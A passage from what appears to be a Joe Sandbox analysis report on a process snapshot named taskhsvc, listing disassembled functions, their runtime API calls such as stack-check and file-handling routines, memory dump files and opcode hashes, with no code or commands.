                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: acf579f8d70c3e6e9e1f954690969dac61886eb7d0e6c8ff140f2e18f9e829de
                                                                                                                          • Instruction ID: f978434aa89144520b9295fca8f526e4118d9273d3f9910767fc7f0e671e8da8
                                                                                                                          • Opcode Fuzzy Hash: acf579f8d70c3e6e9e1f954690969dac61886eb7d0e6c8ff140f2e18f9e829de
                                                                                                                          • Instruction Fuzzy Hash: B0F05F78A006099BCB04DFA9C5818AEBBF1AF48300F11D45AE859A7354E634AD52CFA5
                                                                                                                          Function 00C43734 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D06A4B: abort.MSVCRT ref: 00D06AAF
                                                                                                                            • Part of subcall function 00D06A4B: abort.MSVCRT ref: 00D06B04
                                                                                                                            • Part of subcall function 00D06A4B: __stack_chk_fail.LIBSSP-0 ref: 00D06B81
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C4A9F8), ref: 00C43769
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3276312271-0
                                                                                                                          • Opcode ID: d51c30d3eadfabaaf5187ec599cf756d312468be6cfad7c20f63adb4a086f19e
                                                                                                                          • Instruction ID: 5276c400e6019e603a7c2e42b5bad5964fc3b09042c5bbcaa7a25beb12900898
                                                                                                                          • Opcode Fuzzy Hash: d51c30d3eadfabaaf5187ec599cf756d312468be6cfad7c20f63adb4a086f19e
                                                                                                                          • Instruction Fuzzy Hash: 14E0B6B4E01608AFCB40EFBDD64295EBBF1EB49310F41D416A898E7341D234EE128FA5
                                                                                                                          Function 00BE65EF Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00BE63F3: __stack_chk_fail.LIBSSP-0 ref: 00BE65E4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE6622
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: a8d6447d40f752f1a5a6b329c41177bc68db0f53462acfabbd6749343d8cf38d
                                                                                                                          • Instruction ID: 55e2ebd31d5e31250b4c227f51a078d64154a29fc0622f08dd8a3081b1c92dc1
                                                                                                                          • Opcode Fuzzy Hash: a8d6447d40f752f1a5a6b329c41177bc68db0f53462acfabbd6749343d8cf38d
                                                                                                                          • Instruction Fuzzy Hash: 7AE0EC70D006599FCB00EFAEC9455DEBBF1FB15344F4189A5D410AB205D3B0AD118FD5
                                                                                                                          Function 00D46573 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D46206: abort.MSVCRT ref: 00D46275
                                                                                                                            • Part of subcall function 00D46206: fclose.MSVCRT ref: 00D4628D
                                                                                                                            • Part of subcall function 00D46206: strerror.MSVCRT ref: 00D462A6
                                                                                                                            • Part of subcall function 00D46206: abort.MSVCRT ref: 00D463BD
                                                                                                                            • Part of subcall function 00D46206: _unlink.MSVCRT ref: 00D463D0
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00CE0EBF), ref: 00D465A7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_fail_unlinkfclosestrerror
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2206734371-0
                                                                                                                          • Opcode ID: 8bf15150ccce924fa1b632398ad97f540ed9e0cf550510bcada8fd7019dc9fa8
                                                                                                                          • Instruction ID: 66366964121f10b6e960a58a60ba451fa440813d4b1860658017a85d338120d2
                                                                                                                          • Opcode Fuzzy Hash: 8bf15150ccce924fa1b632398ad97f540ed9e0cf550510bcada8fd7019dc9fa8
                                                                                                                          • Instruction Fuzzy Hash: B6E0B6B4E00608ABCB00EFA9C58165EBBF1AB49304F41C415E954AB344E274ED128FA6
                                                                                                                          Function 00BE15AB Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
